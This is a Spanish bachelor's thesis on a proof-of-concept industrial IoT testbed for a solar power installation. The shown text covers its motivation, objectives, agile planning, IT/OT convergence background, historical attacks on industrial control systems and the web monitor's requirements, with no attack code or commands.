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Resumen

Desde la década pasada, como consecuencia de una acelerada transformacion digital, nos enfren-
tamos a una nueva revolucién industrial. Esta revolucion, conocida como Industria 4.0, presenta tec-
nologias para aumentar la eficiencia y eficacia de las empresas mediante la convergencia entre los
sistemas convencionales de Tecnologias de Operacién (OT, de su acepcion en inglés) y los modernos
sistemas de Tecnologia de la Informacion (IT, de su acepcion en inglés).

El problema que vamos a abordar esta relacionado con uno de los principales retos de esta revolu-
cion: conseguir una convergencia segura a nivel de red entre los sistemas [T y OT. En este sentido, el
objetivo de este Trabajo Fin de Grado es el desarrollo de una Prueba de Concepto (PoC, de su acepcion
en inglés) para comprobar las posibilidades de explotacién de vulnerabilidades de Ciberseguridad en
entornos del Internet Industrial de las Cosas (IIoT, de su acepcion en inglés). Para ello, nos basaremos
en un caso de uso que caracteriza una instalacion de energia solar.

En primer lugar, desarrollaremos el escenario para nuestra Prueba de Concepto (PoC), que cons-
tara de los tres elementos basicos de cualquier sistema IIoT: el componente IT, un servicio web que
proporciona un monitor de control de la infraestructura; el componente OT, una simulacién de un
PLC industrial real (PLC-Sim); y el componente 10T, un Gateway IoT que hace de interfaz IT/OT. A
continuacion, realizaremos un analisis y explotacién de vulnerabilidades sobre este escenario con el
fin de recopilar un conjunto de buenas practicas que, trasladadas a entornos I1oT reales, reduzcan el
riesgo de compromiso de este tipo de sistemas.

Palabras clave: Ciberseguridad, Industria 4.0, IoT, Energia solar, Pentesting.






Abstract

Since last decade, as a consequence of a quick digital transformation, we are facing a new industrial
revolution. This revolution, known as Industry 4.0, introduces technologies to increase the efficiency
and efficacy of enterprises through the convergence of conventional Operational Technology systems
(OT) and modern Information Technology systems (IT).

The problem we are going to deal with is related to one of the main challenges of this revolution: to
obtain a secure convergence at network level between IT and OT systems. In this sense, the objective
of this Final Degree Project is the development of a Proof of Concept (PoC) to verify the possibilities
of exploiting cybersecurity vulnerabilities in Industrial Internet of Things (IIoT) environs. To do this,
we will rely on a use case that characterizes a solar power facility.

First of all, we will develop the scenery for our Proof of Concept, which will consist of the three
basic elements of any IIoT system: the IT component, a web service which provides a control monitor
of the infrastructure; the OT component, a simulation of a real industrial PLC (PLC-Sim); and the
IoT component, an IoT Gateway acting as an I'T/OT interface. Next, we will carry out an analysis and
exploitation of vulnerabilities on this scenery with the purpose of compiling a set of best practices
which, transferred to real IIoT environs, will reduce the risk of compromise of this type of systems.

Key words: Cybersecurity, Industry 4.0, IoT, Solar energy, Pentesting.
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Parte 1

Objeto, Concepto y Meétodo






Capitulo 1

Introduccion

1.1 Introduccidn

Existen dos importantes desafios para la transformacién digital a la Industria 4.0. El primero, con-
sistente en conseguir una correcta convergencia entre los sistemas de Tecnologias de Operacion (OT,
de su acepcién en inglés) convencionales y los modernos sistemas de Tecnologias de la Informacion
(IT, de su acepcion en inglés); y, el segundo, hacer dicha convergencia a nivel de redes de forma segura.

Cada vez mas empresas estan interesadas en esta convergencia IT/OT porque permite afiadir una
capa de inteligencia adicional a los sistemas OT, lo que redunda en innumerables ventajas: mayor
eficiencia energética, control de calidad preciso, reduccién de costes, etc. Sin embargo, exponer siste-
mas de automatizacion y control, habitualmente disefiados con menores exigencias de ciberseguridad,
entrafia riesgos muy serios en cuanto a la disponibilidad, integridad y confidencialidad [59] de los
sistemas si la integracion no se realiza correctamente.

Una muestra de que muchas empresas no son plenamente conscientes de esta problematica es que,
segtin un estudio realizado por Fortinet en 2019, aproximadamente 9 de cada 10 organizaciones que
utilizan sistemas de control industrial han sufrido una brecha de seguridad [42].

Para un proceso industrial, abordar la digitalizacion hacia sistemas ciberfisicos consiste en utilizar
dispositivos Internet of Things (10T). Para facilitar la conexién con diferentes tipos de interfaces de
control de maquinaria industrial (PLCs, SCADAs, Consolas de control HMI, etc.) existen equipos mas
avanzados que proporcionan un Gateway IoT para poder gestionar diferentes protocolos de red OT.
Se da la circunstancia de que muchos dispositivos OT industriales estan disefiados para ser robustos,
eficaces y eficientes, pero no estan pensados para realizar conexiones remotas y tampoco para que la
seguridad sea considerada un factor prioritario (cuando existe).

Otro aspecto a considerar son los largos ciclos de vida de este tipo de sistemas de control en la
mayoria de las empresas. Esto es debido a la fuerte inversién econémica que conlleva su reemplazo
por unos mas modernos. Normalmente cuando una empresa coloca, por ejemplo, un PL.C en una ins-
talacion, es muy probable que se mantenga en ese mismo estado durante toda su vida util. La cuestion
es que muchos de estos dispositivos se acaban volviendo obsoletos y no reciben actualizaciones del

3



1.2. MOTIVACION CAPITULO 1. INTRODUCCION

fabricante, por lo que, si presentan alguna vulnerabilidad conocida, esta no puede ser corregida.

Por tanto, queda claro que, cada vez que conectamos un sistema OT a Internet, la empresa sera la
responsable de plantear una buena politica de seguridad. Para ello, es recomendable basarse en estan-
dares reconocidos que hayan sido concebidos para abordar esta problematica. Entre ellos destacan los
dos siguientes: el IEC 62443 [40], elaborado por la Comision Electrotécnica Internacional (conocida
por su sigla en Inglés, IEC) para abordar la ciberseguridad en tecnologias OT de sistemas de automati-
zacion y control; y el ISO 27001 [8], desarrollado por la Organizacién Internacional de Normalizacion
(conocida por su sigla en Inglés, ISO) para gestionar la seguridad IT de una empresa. Ademas, en este
sentido, se pueden consultar multitud de publicaciones del Instituto Nacional de Estandares y Tecno-
logia de los E.E.U.U. (conocido por su sigla en Ingles, NIST) [70] [71] [85] .

Ejemplos recientes, como la pandemia del COVID-19, han supuesto un reto para muchas empresas
que se han visto forzadas a digitalizarse rapidamente, especialmente en lo mas duro del confinamiento,
para permitir el teletrabajo a sus empleados sin valorar correctamente los riesgos a los que se enfren-
taban. Esta circunstancia ha propiciado que, actualmente, muchas empresas sean mas vulnerables a
ciberataques [47] [75].

Lo expuesto hasta el momento afecta a todo tipo de industrias y empresas, pero el riesgo se in-
crementa cuando el objetivo de los atacantes son infraestructuras criticas en las que existen una gran
cantidad de sistemas OT, como son las energéticas. Hay que tener en cuenta que una interrupcion del
suministro energético (ya sea electricidad, petroleo, gas natural, etc.) impacta directamente sobre los
servicios ofrecidos por muchos sectores. Por esta razon, el sector energético esta en el punto de mira de
muchos adversarios que, segtin su ambicién y conocimientos, pueden optar por perjudicar tinicamente
a unas pocas empresas en concreto o, incluso, pueden realizar ataques planeado a mayor escala y con
un marcado caracter geoestratégico.

El caso concreto que nos va a ocupar en este trabajo son los ataques a entornos industriales que tie-
nen expuesto a la red un sistema de monitorizacion para una infraestructura de generacion de energia
propia. La idea es que estas empresas sean conscientes de que la digitalizacién de su propia infraes-
tructura, a pesar de tener aparejada innumerables ventajas, también constituye un objetivo constante
de ataques.

1.2 Motivacion

Aunque ha sido mucho lo que he tenido la oportunidad de aprender durante mi paso por la Escuela,
si tuviese que destacar algin tema que me haya resultado mas atractivo que el resto, optaria por todo lo
relacionado con la ciberseguridad. El interés por este tema me ha despertado a lo largo de mis estudios
unas ganas constantes de investigar y seguir aprendiendo por mi cuenta.

Este cuatrimestre he tenido la gran suerte de realizar mis practicas en Fundacion CIDAUT, donde
he consolidado e incrementado mi conocimiento en esta area, aunque siempre de una manera muy

enfocada al ambito industrial.

Si concretamos un poco mas, he podido ver y analizar el trafico de red de un demostrador de
ciberseguridad industrial expuesto a la red que tienen en un proyecto conjunto con Telefénica [48].

4
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Esto me ha hecho ser consciente de la ingente cantidad de atacantes que, creyendo que se trata de un
sistema de control industrial real, tratan de comprometer el sistema. De igual manera, he sido capaz
de ver como actian estos atacantes, especialmente en ataques exitosos que han provocado dafios gra-
ves en los sistemas OT y han provocado una parada en el sistema durante un tiempo nada despreciable.

Todo lo expuesto me ha hecho tomar conciencia de la seriedad de todo este asunto y de cémo mu-
chas empresas no comprenden el riesgo al que se enfrentan con su digitalizacién. Asi, para recopilar
informacion que pueda ser 1til para la concienciacion y formacién de las empresas en este ambito, he
tomado la determinacion de realizar un proyecto gemelo al mencionado, pero asociado a la monitori-
zacion y control de algun tipo de infraestructura que sea relevante actualmente.

Como Fundacion CIDAUT es un centro en el que se hace investigacion y desarrollo en Transporte
y Energia, he tenido la posibilidad de ver distintas infraestructuras que podia utilizar como caso de
uso para mi proyecto. Después de valorar todas las posibilidades y dejarme aconsejar, tuve claro que
lo que méas me animaba eran las instalaciones fotovoltaicas porque estan en un creciente aumento de
popularidad [17].

Cuando hablo de popularidad respecto a la energia solar, me enfoco en el uso que muchas em-
presas, tanto grandes como pequefias y medianas, estan realizando de esta para su autoconsumo [46].
Esta circunstancia es cada vez mas comun dado que, teniendo en cuenta la gran subida del precio de
la energia durante el tltimo afio [31], cada vez mas empresas se interesan por la por la posibilidad de
instalar y poder amortizar una instalacién fotovoltaica para su propio consumo.

En el mundo de la ciberseguridad hay una frase muy conocida de Robert Mueller (exdirector del
FBI): «S6lo hay dos tipos de empresas: las que han sido atacadas y las que seran». Otros autores mas
pesimistas sostienen que en realidad los tinicos dos tipos de empresas que existen son las que han sido
atacadas y las que también lo han sido, pero no lo saben.

Sea como fuere, teniendo en cuenta que este tipo de instalaciones normalmente cuentan con un
sistema de monitorizacién y control remoto mediante un SCADA o un portal web expuesto a la red,
la empresa que no se tome esto en serio tendra que sufrir graves consecuencias tales como dafios o
interrupcion de los servicios de de energia, con el coste econdmico que conlleva.

Para terminar, como ejemplo de la importancia de lo que se expone, la Oficina de Tecnologias de
Energia Solar de los E.E.U.U, dependiente del Departamento de Energia, ha concedido a un grupo
de investigadores de la Universidad de Arkansas una financiaciéon de 3,6 millones de dolares para
el desarrollo de sistemas de ciberseguridad que protejan de los ataques a las infraestructuras solares
conectadas a la red [27].
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Capitulo 2

Objetivos

El objetivo principal de este Trabajo de Fin de Grado es desarrollar una prueba de concepto (PoC,
de su acepcion en inglés) para verificar las posibilidades de explotacién de vulnerabilidades de ciber-
seguridad sobre un caso de uso que caracterice un sistema de monitorizacion y control remoto de una
instalacion de energia solar conectada a Internet.

Ademas, se plantean los siguientes objetivos generales:

= Caracterizar un entorno IIoT (Industrial Internet of Things) real con una infraestructura virtua-
lizada separada en dos capas. Una primera capa de presentacion (Frontend) y la segunda capa
sera de acceso a datos (Backend).

= Disponer de un servicio de monitorizacion de la instalacion energética expuesto a Internet (Fron-
tend). El servicio estara basado en una pagina Web que permita ver la energia que se esta gene-
rando en tiempo real, apagar o encender el sistema y modificar el &ngulo en que se encuentran
las placas.

= Disponer de un entorno de control industrial con datos operativos de la instalacion energética
(Backend). El entorno estara formado por dos subsistemas: un Gateway IoT que hace de interfaz
entre la red IT y la red OT; y un PLC industrial simulado (PLC-Sim) que debera correr un
programa que sea capaz de caracterizar el comportamiento de una instalacion fotovoltaica real
utilizando informacién tanto de horas de salida y puesta de sol, como de angulos 6ptimos por
mes del afio.

= Analizar vulnerabilidades sobre servicios conectados IoT (Internet of Things). Se pretende es-
tudiar el impacto en servicios de autenticacién abiertos a la red sobre un portal Web (a través de
acceso con usuario y contrasefia) que se apoyan en una base de datos de tipo SQL.

» Estudiar y documentar técnicas, tacticas y procedimientos utilizados para comprometer un caso
de uso basado en la monitorizacién de una instalacién energética de forma remota.

= Analizar y extraer conclusiones que, trasladadas a sistemas reales de monitorizacion de gestion
energética, reduzcan el riesgo de compromiso de las instalaciones de este tipo.
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Capitulo 3

Metodologia y Planificacion

3.1 Metodologia

Una vez establecido el objetivo principal de este trabajo, que es abordar una prueba de concepto
para analizar las posibilidades de explotacion de vulnerabilidades en un entorno IIoT real, el siguiente

paso es establecer que metodologia vamos a seguir.
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escenario de la
prueba de concepto)
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Figura 3.1: Esquema de la metodologia que se ha seguido



3.2. PLANIFICACION INICIAL CAPITULO 3. METODOLOGIA Y PLANIFICACION

La primera fase abarcara un periodo de cuatro semanas en el que, con motivo de mi incorporacién
en Fundacion CIDAUT, se realizara un estudio de la problematica asociada a la integracion IT/OT en
cuanto a seguridad a nivel de red. Se considera que es el tiempo necesario para lograr de forma satis-
factoria una buena integracion con mis compaiieros y realizar un estudio suficientemente completo. Al
finalizar esta fase, sera preciso elaborar un Product Backlog, es decir, una lista de trabajo que agrupe
de forma ordenada los requisitos iniciales que se deben cumplir.

La segunda fase sera donde se llevara a cabo el desarrollo del escenario asociado a la prueba de
concepto, es decir, la caracterizacion de un sistema IIoT real. Para ello, nos vamos a basar en metodolo-
gias agiles de acuerdo a un modelo incremental e iterativo. Hay muchos tipos de metodologias agiles,
pero, en este caso, se ha decidido personalizar una de las mas utilizadas, Scrum [83] [62], de mane-
ra que se adapte a nuestras necesidades. Se ha optado por utilizar este tipo de metodologias porque
proporcionan entregas rapidas y continuas, que ayudan a visibilizar el progreso del proyecto; y, sobre
todo, por su flexibilidad para introducir cambios en todas las etapas del proyecto, algo que tiene mu-
cho valor en proyectos de investigacion de esta clase dado que siempre se maneja cierta incertidumbre.

Este marco de trabajo adaptado constara de dos roles: los Product Owner, que seran ambos tuto-
res; y el equipo de desarrollo, que estara formado tinicamente por el alumno. Existiran tres sprint que
tendran una duracién de dos semanas, empezando y acabando siempre en martes, que es cuando se
producira la reunion entre el alumno y los dos tutores.

En esta reunion, se mostrara el resultado del sprint, se hara una retrospectiva de como se ha desa-
rrollado y, a continuacion, se elaborara un Sprint Backlog para la siguiente iteracion, es decir, la lista
de tareas a completar durante el sprint.

Por ultimo, una vez terminadas las tres iteraciones, pasaremos a la tercera fase en la que, durante
un periodo de dos semanas, se realizara la verificacion de la prueba de concepto, es decir, el analisis
y explotacién de vulnerabilidades sobre el escenario que se ha desarrollado. Al final de esta fase es
cuando se desarrollaran las conclusiones a las que se ha llegado durante esta prueba de concepto.

3.2 Planificacion inicial

La planificacién inicial de este trabajo se ha dividido en tres fases: una primera fase en la que se
realiza el estudio de la problematica asociada a la convergencia IT/OT y como realizarla de forma
segura a nivel de red; una segunda fase en la que se desarrolla el escenario de la prueba de concepto;
y una ultima fase para realizar la validacion de la prueba de concepto.

La fecha de inicio de este trabajo esta prevista para el 29 de marzo, después de mi incorporacién
en Fundacién CIDAUT, donde existe un laboratorio para estudiar el funcionamiento de entornos IloT
reales y cémo gestionar su seguridad a nivel de red. En cuanto a la fecha de finalizacién del trabajo,
sera cuando se haya terminado el proceso de validacién de la prueba de concepto, algo previsto para
el dia 21 de junio.

Por tanto, la duracion total del trabajo sera de 12 semanas que se dividiran de la siguiente forma: 4
semanas para el estudio del problema, 6 semanas para el desarrollo del escenario asociado a la prueba

de concepto y 2 semanas para la validacion de la prueba de concepto.
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Desarrollo del

Estudio del escenario de la
problema prueba de
concepto

Verificacion de
la prueba de
concepto

.

- Analisis y explotacion de
vulnerabilidades. Desarrolio
de las conclusiones.

Figura 3.2: Esquema de la planificacién inicial que se ha seguido

Descripcién Fechas de Inicio-Fin | Duracion
Fase 0 Estudio del problema 29/03 - 26/04 4 semanas
Fase 1 | Desarrollo del escenario de la prueba de concepto 26/04 - 07/06 6 semanas
Fase 2 Validacion de la prueba de concepto 07/06 - 21/06 2 semanas

Cuadro 3.1: Planificacion temporal de cada tarea

Tal y como se ha establecido en la metodologia, para el desarrollo del escenario de la prueba de
concepto estan previstas tres iteraciones o sprints de una duracién de dos semanas. Tomando como
base las fechas de inicio y fin de esta tarea y su duracién total, se ha elaborado una tabla con su des-
glose por sprints.

Fechas de Inicio-Fin | Duracion
Sprint 1 26/04 - 10/05 2 semanas
Sprint 2 10/05 - 24/05 2 semanas
Sprint 3 24/05 - 07/06 2 semanas

Cuadro 3.2: Desglose de la planificacion temporal de la fase 1 por sprint

3.3 Estimacion de costes

En esta seccién vamos a desarrollar una estimacion de las horas de mano de obra y de los recursos
materiales necesarios para completar las actividades del proyecto.

En primer lugar, vamos a realizar una estimacion del ntimero de horas totales que debera destinar
el alumno para el desarrollo del trabajo. Para ello, se debe tener en cuenta que se prevé trabajar de
lunes a viernes, es decir, 5 dias a la semana durante 5 horas cada dia. Como el proyecto tiene una
duracion de 12 semanas, entonces se estima que se necesitaran 300 horas en total para llevar a cabo
del proyecto. En la tabla que aparece a continuacion se puede observar el desglose por cada una de las
tres fases en las que se divide el proyecto.
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Semanas Dias Horas
Fase 0 | 4 semanas | 20 dias | 100 horas
Fase1l | 6semanas | 30 dias | 150 horas
Fase 2 | 2semanas | 10dias | 50 horas
Total | 12 semanas | 60 dias | 300 horas

Cuadro 3.3: Desglose del tiempo empleado por cada fase

Evidentemente, al tratarse de un trabajo académico y a diferencia de un proyecto en cualquier otra
empresa, no se contempla que las horas de mano de obra vayan a ser remuneradas. Por tanto, el coste
de la mano de obra es de 0 €.

En cuanto a los recursos materiales, vamos a necesitar: un ordenador, una serie de entornos de
desarrollo integrados (IDE, de su acepcion en inglés), un software de virtualizacion y un sistema
gestor de bases de datos (SBGD). En este caso solo vamos a necesitar un ordenador puesto que la
caracterizacion del sistema IIoT va a funcionar sobre un entorno virtualizado. Como el ordenador a
utilizar serd el propio del alumno y, dado que para trabajar con ninguno de los software utilizados ha
sido necesario pagar licencias, el coste total del proyecto ha sido de 0 €.

3.4 Planificacion final

Una vez finalizado el estudio del problema en el marco de mis practicas en Fundaciéon CIDAUT, si
seguimos lo establecido en la metodologia, es necesario establecer un Product Backlog, es decir, una
lista de trabajos a llevar a cabo durante la siguiente el desarrollo del escenario de la prueba de concepto.

Se ha decidido incluir este listado de actividades en esta seccion dado que, como para su confec-
cion es imprescindible haber realizado un estudio previo del problema, era imposible considerarlo en
la planificacién inicial.

Asi, el Product Backlog en el que se enumera cada uno de los trabajos junto con su duracion esti-
mada es el siguiente:

N° | Actividad Duracién
1 | Desarrollo del servicio web basado en Django 6 dias
2 | Instalacién y configuracion de una maquina virtual con GNU/Linux para el 1 dia

servicio web
3 | Implementacion de un protocolo de aplicacion propio para la conexion entre 3 dias
servidor web y Gateway IoT

4 | Puesta en marcha la base de datos MySQL asociada al servicio web 1dia

5 | Desarrollo del script que limpia de la base de datos las cookies de sesion ca- 1 dia
ducadas

6 | Despliegue del servicio web mediante Apache 2 dias

7 | Desarrollo de un programa que caracterice el comportamiento de un Gateway 2 dias
IoT real

12
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8 | Instalacién y configuracién de una maquina virtual con GNU/Linux para el 1 dia
Gateway IoT

9 | Disefio de un protocolo de aplicacion y transporte que caractericen el funcio- 3 dias
namiento de protocolos industriales reales

10 | Desarrollo de un programa que caracterice el funcionamiento de un driver de 2 dias
un PLC industrial real

11 | Desarrollo de un conjunto de funciones que caractericen el comportamiento 2 dias
de un sistema de placas solares real

12 | Desarrollo de una simulacion de un PLC industrial (PLC-Sim) que controla 2 dias
un sistema de placas solares

13 | Desarrollo de un script que cambie el angulo de inclinacién del conjunto de 1 dia
placas solares al mas 6ptimo segun el mes de afio

14 | Instalacion y configuracion de una maquina virtual con GNU/Linux para el 1 dia
PLC-Sim

15 | Conexion entre los tres componentes y bateria de pruebas 2 dias

Cuadro 3.4: Product Backlog: Lista de actividades para el desarrollo del escenario de la prueba de

concepto
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Capitulo 4

Marco Conceptual

La industria ha sufrido varios cambios de importante trascendencia durante la historia de la hu-
manidad: en primer lugar, basada en la mecanizacién de multitud de trabajos manuales, se produce la
Primera Revolucién Industrial; en segundo lugar, debido a un acelerado desarrollo tecnolégico, surge
la Segunda Revolucion Industrial; a continuacion, con el inicio de la automatizacion y la computacion
industrial, nace la Industria 3.0; y hoy en dia, a causa de la transformacién digital de la industria,
estamos inmersos en la Industria 4.0. La transicion que nos ocupa en este proyecto es la que esta pro-
duciendo en la actualidad desde la Industria 3.0 a la 4.0.

La Industria 3.0 (o Tercera Revolucién Industrial) surge en la segunda mitad del siglo XX como
consecuencia de los avances en automatizacion y computacion industrial. Uno de los hitos mas im-
portantes es la invencién del primer PLC (Programmable Logic Controller), el Modicon 084 en 1969.
Estos dispositivos, igualmente conocidos como autématas, son aparatos que, a partir del estado de los
mecanismos de entrada, toman una decisién basada en un programa personalizado para controlar el
estado de los mecanismos de salida. Son, por tanto, los encargados de automatizar procesos.

De igual manera, durante esta etapa, los robots industriales empiezan a reemplazar al ser humano
en determinadas tareas, se desarrolla mucho mas la electrénica, se incorporan buses de comunicacion
a los equipos con microprocesadores, nace el ordenador personal, etc. Todo esto permitié el desarrollo
de los SCADA (Supervisory Control And Data Acquisition), un software para ordenadores que, me-
diante un dibujo interactivo de un proceso industrial, permite su control y supervision a distancia. Las
aplicaciones SCADA normalmente estan basadas en plataformas propietarias de unos pocos fabrican-
tes (General Electric, Rockwell, Schneider y Siemens, etc.).

Todos estos sistemas nacidos en la Industria 3.0 para la automatizacién de los procesos industriales
y gestion de infraestructuras son los denominados OT (Tecnologias de la Operacion). Estan pensados
para permitir a las personas relacionarse con los dispositivos electromecanicos pero aislados en una
red OT interna.

Actualmente se estd produciendo un proceso de transformacién digital de la industria, que esta
dando lugar a una Cuarta Revolucion Industrial (o, como es mas cominmente conocida, Industria
4.0). El objetivo de esta transicion es hacer converger la produccién y operaciones fisicas con la tec-
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nologia digital para la puesta en marcha de un gran nimero de “fabricas conectadas inteligentes”.
Estas fabricas se caracterizan tanto por una gran interconexion de maquinas y sistemas, como por un
continuo intercambio de informacién con el exterior.

Una de las bases que conforman estas fabricas conectadas son los denominados dispositivos IoT.
El término IoT (Internet of Things) hace referencia a la incorporacion de dispositivos informaticos
en todo tipo de objetos cotidianos que permiten que estos envien y reciban datos a través de internet.
Cuando hablamos de sistemas IoT dentro del ambito industrial, se utiliza el término IIoT (Industrial
Internet of Things) para referirnos los sistemas OT que antes estaban aislados y actualmente estan
conectados a la red.

Un sistema [oT siempre integra los mismos componentes basicos: sensores/dispositivos, conecti-
vidad, procesamiento de datos y una interfaz de usuario [33]. Estos componentes se pueden combinar
de diferentes maneras segun nuestras necesidades y los requisitos de seguridad que manejemos. La
forma mas sencilla y rudimentaria de abordar esto es utilizar un solo dispositivo que integre tanto el
mundo IT como el OT. Esto es muy caracteristico de entornos domésticos o de uso personal, cuyos
estandares de seguridad son poco ambiciosos. Algunos ejemplos de dispositivos que siguen este pa-
tron son sistemas de calefaccion inteligente, cerraduras inteligentes, etc.

En el ambito industrial el estandar consiste en segmentar la red OT de la red IT. No obstante cada
vez se utilizan mas Gateways [oT a modo de interfaz para facilitar la comunicacion IT-OT. Este dis-
positivo actia de pasarela recibiendo la peticiéon mediante protocolo IT y la convierte al protocolo OT
correspondiente. Ademas, el Gateway es capaz de controlar el trafico y puede preprocesar los datos
brutos recogidos por los dispositivos OT antes de enviarlos a la red IT. En definitiva, el Gateway IoT
se puede utilizar como un instrumento de defensa para los dispositivos OT que, por definicion, son
potencialmente inseguros.

Things

e}

Temperature Humidity

Network

Y

- Gateway

=

Smoke Sensor Light Sensor

Figura 4.1: Funcionamiento de un Gateway loT [34]

Este proceso de convergencia de los modernos sistemas IT con los dispositivos OT industriales
clasicos tiene innumerables ventajas que van desde mayor eficiencia energética a control de calidad
preciso, reduccién de costes, etc. Sin embargo, los dispositivos OT industriales no estan pensados para
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realizar conexiones remotas y tampoco para que la seguridad sea considerada un factor prioritario, por
lo la empresa es la responsable final de plantear una buena politica de seguridad.

En las politicas de seguridad industriales es comtin que se destinen muchos recursos para asegurar
correctamente su infraestructura IIoT respecto del exterior, pero no tantos para salvaguardar su red
interna. Asi, no es extrafio que el trafico IT-OT interno vaya en plano, que se utilicen contrasefias por
defecto, falta de control de acceso, etc. De esta manera, si un atacante consigue comprometer un equi-
po de la red interna, tendria a su alcance el Gateway y todos los dispositivos OT.

Por tanto, la politica de seguridad se debe realizar con mucha precaucién y utilizando los recursos
necesarios tanto en términos econoémicos como de horas empleadas. De no ser asi, la infraestructura
industrial de la empresa quedaria muy vulnerable frente a todo tipo de ataques y, antes o después, seria
comprometida. Las consecuencias de sufrir un ataque que comprometa toda una instalacién industrial
son especialmente graves y pueden ir desde un simple espionaje hasta tomar control de las maquinas
para cambiar o parar la produccién, o incluso hacer que las maquinas sufran cuantiosos dafios.

Teniendo en cuenta que el 63 % de las empresas, el 92 % de las organizaciones industriales y el
82 % de las organizaciones sanitarias utilizan IoT, hay muchas empresas en riesgo [32]. Si ademas
afladimos que, segun un estudio realizado por Fortinet en 2019, aproximadamente 9 de cada 10 orga-
nizaciones que utilizan sistemas de control industrial ya han sufrido una brecha de seguridad, entonces
la cuestion se va poniendo mas seria. Por tanto, es muy importante la labor de concienciacién para que
estas organizaciones entiendan la problemaética a la que se enfrentan y destinen los recursos necesarios
a proteger su infraestructura.

Durante la pandemia del COVID-19, especialmente en lo mas duro del confinamiento, muchas
empresas se vieron forzadas a digitalizarse rdpidamente para permitir el teletrabajo a sus empleados
y poder controlar procesos de forma remota, pero no valoraron correctamente los riesgos a los que se
enfrentaban. En muchas empresas, este ha sido un ejemplo de una politica de seguridad poco trabajada
que, aunque propiciada por una situacion excepcional, ha dejado vulnerables muchas infraestructuras.

Los atacantes son muy conscientes de la poca concienciacion de muchas empresas en este aspecto,
lo que sumado a la prisa por la digitalizaciéon provocada por la pandemia del COVID-19, explica que
los ciberataques se hayan disparado. Segtin Check Point hasta el 58 % de las empresas han sufrido un
aumento en los ataques por la pandemia [25].

La seguridad de los dispositivos I1oT es algo que concierne a todo tipo de industrias y empresas,
pero el riesgo incrementa cuando el objetivo de los atacantes son infraestructuras criticas como la
energia, el transporte, las sanitarias, etc. Las consecuencias de comprometer estas infraestructuras son
tan serias que exigen destinar a sus seguridad todos los recursos que sean necesarios.

Si nos centramos en el sector energético, podemos imaginar la magnitud del desastre que puede
provocar un corte en el suministro (ya sea electricidad, petréleo, gas natural, etc.). Por este motivo,
este sector se encuentra en el punto de mira de muchos ciberdelincuentes que, segtin su ambicion y
conocimientos, pueden optar por perjudicar inicamente a unas pocas empresas en concreto o, incluso,
pueden realizar ataques planeado a mayor escala y con un marcado caracter geoestratégico.

Tan solo en los primeros seis meses de 2019, los ciberataques al sector energético de todo el mundo
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se incrementaron en torno a un 41 % [54]. En la figura 4.2 se muestra un grafico con alguno de los
mas importantes ocurridos ese afio.
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Major manufacturers and operators of
industrial control systems employee

NOVEMBER

209 accounts targeted by Iranian hackers

North Korean malware found in Indian OCTOBER
nuclear power plant networks 2019

Seventeen US utility companies
SEPTEMBER targeted by Chinese state-sponsored
2019 hacking group

Chinese state-sponsored hackers
conduct cyber-attacks against employees
of three major U.S. utility companies

NERC warns that suspected Russian
hacking group was snooping on
electrical utilities' networks

Bayer Pharmaceutical company
announced unsuccessful attack by
Chinese hackers

Saudi Arabian and the U.S Government
industry digital infrastructure targeted by
Iranian cyber espionage group

Thousands of employees at over 200
oil-and-gas and heavy machinery companies
world-wide, targeted by Iranian hackers
exposing confidential corporate data

U.S. Department of Justice neutralizes
JANUARY a North Korean botnet used to target
2019 critical infrastructure sectors and other
essential services.

Figura 4.2: Top de los ataques a sistemas ICS durante 2019 [76]
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Si queremos ampliar un poco mas el historial de ciberataques a Sistemas de Control Industrial

(ICS, de su acepcién en inglés), se puede observar la figura 4.3, que presenta los incidentes relevantes
sufridos entre 2000 y 2016.

History of Cyber Attacks Globally in
ICS (Industrial Control Systems) [1] [2)
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Power Distribution  gj56 hre
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Figura 4.3: Ataques relevantes a sistemas ICS entre 2000 y 2016 [61]

De entre todos los ciberataques exitosos a sistemas ICS que se han producido en las tltimas dos

décadas, cabe destacar los siguientes por su repercusion mediatica e importancia:

= En 2010, un virus conocido como Stuxnet consiguié tomar el control de unas 1.000 maquinas
encargadas de la produccion de una planta nuclear en Natanz (Iran) y les dio instrucciones de
autodestruirse. [36]

= En 2017, unos ciberdelincuentes desplegaron un malware en una planta petroquimica de Arabia
Saudi que les permitia controlar los sistemas instrumentados de seguridad de la fabrica. [35]

= En 2021, se produjo un ataque con ransomware que paralizo el oleoducto Colonial, uno de los
mas importantes de los E.E.U.U y responsable del suministro de buena parte de la costa este
norteamericana.[11]

= En 2021, se produjo un ciberataque a una planta de aguas de Oldsmar (Florida), con el que
comprometieron la instalaciéon y aumentaron hasta en 100 veces la presencia de sosa caustica
en el agua. Asi, el agua que salia de la planta era toxica y, por tanto, no valida para el consumo
humano. [11] [12]
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Capitulo 5

Analisis de la infraestructura

Para lograr el objetivo de este proyecto, que es desarrollar una prueba de concepto que verifique
las posibilidades de explotacion de vulnerabilidades en un entorno IIoT real, tenemos que conseguir
caracterizar de la mejor manera el escenario donde se va a llevar a cabo la prueba. En este sentido, es
necesario realizar un buen analisis de las funcionalidades qué necesitamos. Para ello, elaboraremos
un listado de requisitos del escenario de la prueba de concepto y describiremos alguna historia de
usuario.

5.1 Analisis de requisitos

El requisito principal que debe cumplir el sistema es constar de los tres elementos que caracteri-
zan cualquier sistema IoT: un componente IT; un componente OT; y un componente IoT que las
comunique, normalmente un Gateway loT. En este caso, vamos a dividir el analisis de requisitos en
las dos partes fundamentales del desarrollo web: la parte con la que interactua el usuario, el Frontend,
que seria el componente IT (Servidor web); y la parte que realiza todo el procesamiento, el Backend,
que seria tanto el componente OT (PLC-Sim) como el IoT (Gateway 10T).

5.1.1 Requisitos del Frontend

N° | Requisito
RF01 | El servicio web debera permitir iniciar sesion mediante usuario y contrasefia
RF02 | El servicio web debera permitir cerrar sesion cuando haya una sesién iniciada
RF03 | El servicio web debera permitir ver la energia que se esta generando en tiempo real
RF04 | El servicio web debera permitir ver y modificar el &ngulo de inclinacién en que se encuen-
tran las placas

RF05 | El servicio web debera permitir ver y modificar el estado del sistema (encendido o apaga-
do)

Cuadro 5.1: Lista de requisitos funcionales del Frontend
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N° Requisito
RNFO01 | El servicio web debera estar basado en Django
RNF02 | El servicio web debera utilizar MySQL como sistema gestor de BBDD
RNFO03 | El servicio web debera estar desplegado mediante un servidor Apache
RNF04 | La conexion entre servidor web y usuario debera estar encriptada mediante protocolo SS-
L/TLS
RNFO05 | Para acceder a las funcionalidades que ofrece el servicio serd necesario haber iniciado
sesion
RNF06 | El servicio web debera correr sobre un sistema GNU/Linux
RNFO07 | El servicio web debera encargarse de que el angulo de inclinacion de las placas se cambie
automaticamente al 6ptimo para cada mes el dia 1 a las 00 h
